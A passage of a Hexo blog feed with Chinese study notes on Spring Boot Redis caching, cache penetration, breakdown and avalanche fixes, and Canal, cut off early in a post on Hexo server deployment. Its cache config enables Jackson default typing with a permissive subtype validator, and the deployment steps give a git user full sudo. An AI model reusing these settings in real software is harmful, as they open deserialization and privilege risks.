    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="spring-boot"><a href="#spring-boot" class="headerlink" title="spring boot"></a>spring boot</h1><h2 id="spring-boot-cache"><a href="#spring-boot-cache" class="headerlink" title="spring boot cache"></a>spring boot cache</h2><blockquote><p>Cacheable注解配置的两项参数说明：</p><p><strong>value</strong>：缓存的名称，缓存名称作为缓存key的前缀。</p><p><strong>key</strong>: 缓存key，支持SpEL表达式，上述代码表示取参数id的值作为key</p><p>最终缓存key为：缓存名称+“::”+key，例如：上述代码id为123,最终的key为：JZ_CACHE:SERVE_RECORD::123</p><p>SpEL（Spring Expression Language）是一种在 Spring 框架中用于处理字符串表达式的强大工具，它可以实现获取对象的属性，调用对象的方法操作。</p><p><strong>keyGenerator</strong>：指定一个自定义的键生成器（实现 org.springframework.cache.interceptor.KeyGenerator 接口的类），用于生成缓存的键。与 key 属性互斥，二者只能选其一。</p><p><strong>unless</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// 返回数据为空 缓存</span><br><span class="line">// unless true 不缓存</span><br><span class="line">// @Cacheable(value = &quot;&quot;, key = &quot;&quot;, cacheManager = &quot;&quot;, unless = &quot;#result.size() != 0&quot;)</span><br><span class="line">// 返回数据不为空 缓存</span><br><span class="line">// @Cacheable(value = &quot;&quot;, key = &quot;&quot;, cacheManager = &quot;&quot;, unless = &quot;#result.size() == 0&quot;)</span><br></pre></td></tr></table></figure></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@EnableCaching</span>：开启缓存注解功能</span><br><span class="line">    </span><br><span class="line"><span class="meta">@Cacheable</span>：查询数据时缓存，将方法的返回值进行缓存。</span><br><span class="line">    <span class="comment">// 缓存key，支持SpEL表达式(spring boot 提供 ，支持 取对象属性及执行属性方法)，上述代码表示取参数id的值作为key</span></span><br><span class="line">    <span class="comment">// 最终缓存key为：缓存名称+“::”+key</span></span><br><span class="line">    <span class="meta">@Cacheable(value = RedisConstants.CacheName.SERVE, key = &quot;#id&quot;, cacheManager = </span></span><br><span class="line"><span class="meta">                RedisConstants.CacheManager.ONE_DAY)</span></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缓存时间1天 方法名</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">     <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">ONE_DAY</span> <span class="operator">=</span> <span class="string">&quot;cacheManagerOneDay&quot;</span>;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><blockquote><p>sping cache RedisCacheManager 方法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.jzo2o.redis.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonAutoDetect;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.JsonTypeInfo;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.annotation.PropertyAccessor;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ObjectMapper;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.<span class="keyword">module</span>.SimpleModule;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.ser.std.ToStringSerializer;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.datatype.jsr310.deser.LocalDateDeserializer;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.datatype.jsr310.deser.LocalDateTimeDeserializer;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.datatype.jsr310.ser.LocalDateSerializer;</span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.datatype.jsr310.ser.LocalDateTimeSerializer;</span><br><span class="line"><span class="keyword">import</span> com.jzo2o.common.utils.DateUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Primary;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.cache.RedisCacheConfiguration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.cache.RedisCacheManager;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.connection.RedisConnectionFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.serializer.RedisSerializationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.math.BigInteger;</span><br><span class="line"><span class="keyword">import</span> java.time.Duration;</span><br><span class="line"><span class="keyword">import</span> java.time.LocalDate;</span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;</span><br><span class="line"><span class="keyword">import</span> java.util.Random;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * SpringCache配置</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> itcast</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@create</span> 2023/8/15 10:04</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SpringCacheConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缓存时间30分钟</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> connectionFactory redis连接工厂</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> redis缓存管理器</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisCacheManager <span class="title function_">cacheManager30Minutes</span><span class="params">(RedisConnectionFactory connectionFactory)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">randomNum</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>().nextInt(<span class="number">100</span>);</span><br><span class="line">        <span class="type">RedisCacheConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">                .entryTtl(Duration.ofSeconds(<span class="number">30</span> * <span class="number">60L</span> + randomNum))</span><br><span class="line">                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(JACKSON_SERIALIZER));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(connectionFactory)</span><br><span class="line">                .cacheDefaults(config)</span><br><span class="line">                .transactionAware()</span><br><span class="line">                .build();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缓存时间1天</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> connectionFactory redis连接工厂</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> redis缓存管理器</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisCacheManager <span class="title function_">cacheManagerOneDay</span><span class="params">(RedisConnectionFactory connectionFactory)</span> &#123;</span><br><span class="line">        <span class="comment">//生成随机数</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">randomNum</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Random</span>().nextInt(<span class="number">6000</span>);</span><br><span class="line">        <span class="type">RedisCacheConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">                <span class="comment">//过期时间为基础时间加随机数</span></span><br><span class="line">                .entryTtl(Duration.ofSeconds(<span class="number">24</span> * <span class="number">60</span> * <span class="number">60L</span> + randomNum))</span><br><span class="line">                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(JACKSON_SERIALIZER));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(connectionFactory)</span><br><span class="line">                .cacheDefaults(config)</span><br><span class="line">                .transactionAware()</span><br><span class="line">                .build();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 永久缓存</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> connectionFactory redis连接工厂</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> redis缓存管理器</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Primary</span></span><br><span class="line">    <span class="keyword">public</span> RedisCacheManager <span class="title function_">cacheManagerForever</span><span class="params">(RedisConnectionFactory connectionFactory)</span> &#123;</span><br><span class="line">        <span class="type">RedisCacheConfiguration</span> <span class="variable">config</span> <span class="operator">=</span> RedisCacheConfiguration.defaultCacheConfig()</span><br><span class="line">                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(JACKSON_SERIALIZER));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> RedisCacheManager.builder(connectionFactory)</span><br><span class="line">                .cacheDefaults(config)</span><br><span class="line">                .transactionAware()</span><br><span class="line">                .build();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Jackson2JsonRedisSerializer&lt;Object&gt; JACKSON_SERIALIZER;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="comment">//定义Jackson类型序列化对象</span></span><br><span class="line">        JACKSON_SERIALIZER = <span class="keyword">new</span> <span class="title class_">Jackson2JsonRedisSerializer</span>&lt;&gt;(Object.class);</span><br><span class="line">        <span class="comment">//解决查询缓存转换异常的问题</span></span><br><span class="line">        <span class="type">ObjectMapper</span> <span class="variable">om</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// SimpleModule对象，添加各种序列化器和反序列化器。解决LocalDateTime、Long序列化异常</span></span><br><span class="line">        <span class="type">SimpleModule</span> <span class="variable">simpleModule</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SimpleModule</span>()</span><br><span class="line">                <span class="comment">// 添加反序列化器</span></span><br><span class="line">                .addDeserializer(LocalDateTime.class, <span class="keyword">new</span> <span class="title class_">LocalDateTimeDeserializer</span>(DateTimeFormatter.ofPattern(DateUtils.DEFAULT_DATE_TIME_FORMAT)))</span><br><span class="line">                .addDeserializer(LocalDate.class, <span class="keyword">new</span> <span class="title class_">LocalDateDeserializer</span>(DateTimeFormatter.ofPattern(DateUtils.DEFAULT_DATE_FORMAT)))</span><br><span class="line">                <span class="comment">// 添加序列化器</span></span><br><span class="line">                .addSerializer(BigInteger.class, ToStringSerializer.instance)</span><br><span class="line">                .addSerializer(Long.class, ToStringSerializer.instance)   <span class="comment">// 实现 Long --&gt; String 的序列化器</span></span><br><span class="line">                .addSerializer(LocalDateTime.class, <span class="keyword">new</span> <span class="title class_">LocalDateTimeSerializer</span>(DateTimeFormatter.ofPattern(DateUtils.DEFAULT_DATE_TIME_FORMAT)))</span><br><span class="line">                .addSerializer(LocalDate.class, <span class="keyword">new</span> <span class="title class_">LocalDateSerializer</span>(DateTimeFormatter.ofPattern(DateUtils.DEFAULT_DATE_FORMAT)));</span><br><span class="line">        om.registerModule(simpleModule);</span><br><span class="line">        om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);</span><br><span class="line">        om.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL</span><br><span class="line">                , JsonTypeInfo.As.WRAPPER_ARRAY);</span><br><span class="line">        JACKSON_SERIALIZER.setObjectMapper(om);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></blockquote><h3 id="工作原理"><a href="#工作原理" class="headerlink" title="工作原理"></a>工作原理</h3><blockquote><p>Spring Cache是基于AOP原理，对添加注解@Cacheable的类生成代理对象，在方法执行前查看是否有缓存对应的数据，如果有直接返回数据，如果没有调用源方法获取数据返回，并缓存起来，下边跟踪Spring Cache的切面类CacheAspectSupport.java中的private Object execute(final CacheOperationInvoker invoker, Method method, CacheOperationContexts contexts)方法。</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">  <span class="meta">@Nullable</span></span><br><span class="line">  <span class="keyword">private</span> Object <span class="title function_">execute</span><span class="params">(<span class="keyword">final</span> CacheOperationInvoker invoker, Method method, CacheOperationContexts contexts)</span> &#123;</span><br><span class="line">...</span><br><span class="line">      Object cacheValue;</span><br><span class="line">      Object returnValue;</span><br><span class="line">      <span class="keyword">if</span> (cacheHit != <span class="literal">null</span> &amp;&amp; !<span class="built_in">this</span>.hasCachePut(contexts)) &#123;</span><br><span class="line">          cacheValue = cacheHit.get();</span><br><span class="line">          returnValue = <span class="built_in">this</span>.wrapCacheValue(method, cacheValue);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          returnValue = <span class="built_in">this</span>.invokeOperation(invoker);</span><br><span class="line">          cacheValue = <span class="built_in">this</span>.unwrapReturnValue(returnValue);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="built_in">this</span>.collectPutRequests(contexts.get(CachePutOperation.class), cacheValue, cachePutRequests);</span><br><span class="line">      <span class="type">Iterator</span> <span class="variable">var8</span> <span class="operator">=</span> cachePutRequests.iterator();</span><br><span class="line"></span><br><span class="line">      <span class="keyword">while</span>(var8.hasNext()) &#123;</span><br><span class="line">          <span class="type">CachePutRequest</span> <span class="variable">cachePutRequest</span> <span class="operator">=</span> (CachePutRequest)var8.next();</span><br><span class="line">          cachePutRequest.apply(cacheValue);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="built_in">this</span>.processCacheEvicts(contexts.get(CacheEvictOperation.class), <span class="literal">false</span>, cacheValue);</span><br><span class="line">      <span class="keyword">return</span> returnValue;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@CacheEvict</span>：用于删除缓存，将一条或多条数据从缓存中删除。</span><br><span class="line"><span class="meta">@CachePut</span>：用于更新缓存，将方法的返回值放到缓存中</span><br><span class="line"><span class="meta">@Caching</span>：组合多个缓存注解；</span><br><span class="line"><span class="meta">@CacheConfig</span>：统一配置<span class="meta">@Cacheable</span>中的value值</span><br></pre></td></tr></table></figure><h2 id="缓存穿透"><a href="#缓存穿透" class="headerlink" title="缓存穿透"></a>缓存穿透</h2><blockquote><p>大量用户访问一个不存在的资源</p><p>查询一个缓存中不存在的数据将会执行方法查询数据库，数据库也不存在此数据，查询完数据库也没有缓存数据，缓存没有起到作用。</p></blockquote><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><ol><li><p>访问数据库不存在的资源时，缓存一个空值或特殊值</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Cacheable(</span></span><br><span class="line"><span class="meta">    value = &quot;users&quot;, </span></span><br><span class="line"><span class="meta">    key = &quot;#id&quot;,</span></span><br><span class="line"><span class="meta">    unless = &quot;#result == null&quot; // 默认不缓存null，需要特殊处理</span></span><br><span class="line"><span class="meta">)</span></span><br><span class="line"><span class="keyword">public</span> User <span class="title function_">getUserById</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findById(id).orElse(<span class="literal">null</span>);</span><br><span class="line">    <span class="keyword">return</span> user != <span class="literal">null</span> ? user : <span class="keyword">new</span> <span class="title class_">NullUser</span>(); <span class="comment">// 返回特殊空对象</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>布隆过滤器</p><blockquote><p>布隆过滤器（Bloom Filter）是一种数据结构，用于快速判断一个元素是否属于一个集合中。</p><p>它使用多个Hash函数将一个元素映射成一个位阵列（Bit array）中的一个点，将Bit array理解为一个二进制数组，数组元素是0或1。</p><p>常见框架：</p><ul><li><p>使用redit的bitmap位图结构实现。</p></li><li><p>redisson</p></li><li><p>google的Guava库实现。</p></li></ul></blockquote></li><li><p>请求校验</p></li></ol><h2 id="缓存击穿"><a href="#缓存击穿" class="headerlink" title="缓存击穿"></a>缓存击穿</h2><blockquote><p>访问<strong>热点数据</strong>，大量访问同一个热点数据，当热点数据失效后<strong>同时请求数据库</strong>，数据库宕机。</p></blockquote><h3 id="解决方案-1"><a href="#解决方案-1" class="headerlink" title="解决方案"></a>解决方案</h3><blockquote><ul><li>单体架构下（单进程内）可以使用同步锁控制查询数据库的代码，只允许有一个线程去查询数据库，查询得到数据库存入缓存。</li><li>分布式架构下（多个进程之间）可以使用分布式锁进行控制。</li></ul></blockquote><ol><li><p>分布式锁</p><p>redisson</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取分布式锁对象</span></span><br><span class="line"><span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;myLock&quot;</span>);</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 尝试加锁，最多等待100秒，加锁后自动解锁时间为30秒</span></span><br><span class="line">    <span class="type">boolean</span> <span class="variable">isLocked</span> <span class="operator">=</span> lock.tryLock(<span class="number">100</span>, <span class="number">30</span>, java.util.concurrent.TimeUnit.SECONDS);</span><br><span class="line">    <span class="keyword">if</span> (isLocked) &#123;</span><br><span class="line">          <span class="comment">//查询数据库</span></span><br><span class="line">          <span class="comment">//存入缓存</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;获取锁失败，可能有其他线程持有锁&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    <span class="comment">// 释放锁</span></span><br><span class="line">    lock.unlock();</span><br><span class="line">    System.out.println(<span class="string">&quot;释放锁...&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>缓存预热</p><ul><li>提前预热</li><li>定时预热</li></ul></li><li><p>热点数据查询降级处理</p><blockquote><p>对热点数据查询定义单独的接口，当缓存中不存在时走降级方法避免查询数据库。</p></blockquote></li></ol><h2 id="缓存雪崩"><a href="#缓存雪崩" class="headerlink" title="缓存雪崩"></a>缓存雪崩</h2><blockquote><p>缓存雪崩是缓存中大量key失效后当高并发到来时导致大量请求到数据库，瞬间耗尽数据库资源，导致数据库无法使用。</p><p>比如对某信息设置缓存过期时间为30分钟，在大量请求同时查询该类信息时，此时就会有大量的同类信息存在相同的过期时间，一旦失效将同时失效，造成雪崩问题。</p></blockquote><h3 id="解决方案-2"><a href="#解决方案-2" class="headerlink" title="解决方案"></a>解决方案</h3><ol><li><p>使用锁控制</p><blockquote><p>同 缓存击穿</p></blockquote></li><li><p>对同一类型信息的key设置不同的过期时间</p><blockquote><p>具体实现：在framework工程中定义缓存管理器指定过期时间加上随机数</p></blockquote></li><li><p>缓存定时预热</p><blockquote><p>不用等到请求到来再去查询数据库存入缓存，可以提前将数据存入缓存。使用缓存预热机制通常有专门的后台程序去将数据库的数据同步到缓存。</p></blockquote></li></ol><h2 id="缓存不一致"><a href="#缓存不一致" class="headerlink" title="缓存不一致"></a>缓存不一致</h2><blockquote><p>写数据库，写缓存（redis）不一致，<strong>双写不一致</strong></p></blockquote><h3 id="解决方案-3"><a href="#解决方案-3" class="headerlink" title="解决方案"></a>解决方案</h3><ol><li><p>分布式锁</p><blockquote><p>流程：</p><p>线程1申请分布式锁，拿到锁。此时其它线程无法获取同一把锁。</p><p>线程1写数据库，写缓存，操作完成释放锁。</p><p>线程2申请分布锁成功，写数据库，写缓存。</p><p>对双写的操作每个线程顺序执行。</p><p>对操作异常问题仍需要解决：写数据库成功写缓存失败了，数据库需要回滚，此时就需要使用分布式事务组件。</p><p><strong>使用分布式锁解决双写一致性不仅性能低下，复杂度增加。</strong></p></blockquote></li><li><p>延迟双删</p><blockquote><p>线程1先删除缓存，再写入主数据库，延迟一定时间再删除缓存。</p><p>保证 <strong>最终一致</strong></p><img src="/posts/fde34da5/image-20250530103153555.png" class="" title="image-20250530103153555"></blockquote></li></ol><h2 id="主从数据库"><a href="#主从数据库" class="headerlink" title="主从数据库"></a>主从数据库</h2><blockquote><p>MySQL主从集群由MySQL主服务器(master)和MySQL从服务器(slave)组成，MySQL主从数据同步是一种数据库复制技术，进行写数据会先向主服务器写，写成功后将数据同步到从服务器，流程如下：</p><p>1、主服务器将所有写操作（INSERT、UPDATE、DELETE）以二进制日志（binlog）的形式记录下来。</p><p>2、从服务器连接到主服务器，发送dump 协议,请求获取主服务器上的binlog日志。</p><p>MySQL的<code>dump</code>协议是MySQL复制协议中的一部分。</p><p>3、MySQL master 收到 dump 请求，开始推送 binary log 给 slave</p><p>4、从服务器解析日志，根据日志内容更新从服务器的数据库，完成从服务器的数据保持与主服务器同步。</p></blockquote><h2 id="Canal"><a href="#Canal" class="headerlink" title="Canal"></a>Canal</h2><blockquote><p>Canal是什么？</p><p>**canal [kə’næl]**，译意为水道&#x2F;管道&#x2F;沟渠，主要用途是基于 MySQL 数据库增量日志解析，对数据进行同步，如下图：</p><p>Canal可与很多数据源进行对接，将数据由MySQL同步到ES、MQ、DB等各个数据源。</p><p>Canal的意思是水道&#x2F;管道&#x2F;沟渠，它相当于一个数据管道，通过解析MySQL的binlog日志完成数据同步工作。</p><p>官方文档：<a href="https://github.com/alibaba/canal/wiki">https://github.com/alibaba/canal/wiki</a></p></blockquote><h3 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h3><p>1、Canal模拟 MySQL slave 的交互协议，伪装自己为 MySQL slave ，向 MySQL master 发送dump 协议</p><p>MySQL的<code>dump</code>协议是MySQL复制协议中的一部分。</p><p>2、MySQL master 收到 dump 请求，开始推送 binary log 给 slave (即 canal )</p><p>。一旦连接建立成功，Canal会一直等待并监听来自MySQL主服务器的binlog事件流，当有新的数据库变更发生时MySQL master主服务器发送binlog事件流给Canal。</p><p>3、Canal会及时接收并解析这些变更事件并解析 binary log </p><p>通过以上流程可知Canal和MySQL master主服务器之间建立了长连接。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="框架" scheme="https://wyy.hair/tags/%E6%A1%86%E6%9E%B6/"/>
    
  </entry>
  
  <entry>
    <title>Hexo 服务器部署</title>
    <link href="https://wyy.hair/posts/281342c4/"/>
    <id>https://wyy.hair/posts/281342c4/</id>
    <published>2025-05-09T07:41:12.000Z</published>
    <updated>2025-12-30T04:54:17.873Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="Hexo"><a href="#Hexo" class="headerlink" title="Hexo"></a>Hexo</h1><h2 id="服务器Git部署"><a href="#服务器Git部署" class="headerlink" title="服务器Git部署"></a>服务器Git部署</h2><blockquote><p>前提条件：本地ssh公匙（C:\Users\Reiki.ssh\id_rsa.pub），已配置服务器:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">adduser git</span><br><span class="line"><span class="built_in">chmod</span> 740 /etc/sudoers</span><br><span class="line">vim /etc/sudoers</span><br></pre></td></tr></table></figure><p>在<code>root ALL=(ALL) ALL</code> 下面添加</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git    ALL=(ALL)   ALL</span><br></pre></td></tr></table></figure><p>改回权限，设置git用户密码</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chmod</span> 400 /etc/sudoers</span><br><span class="line">passwd git</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 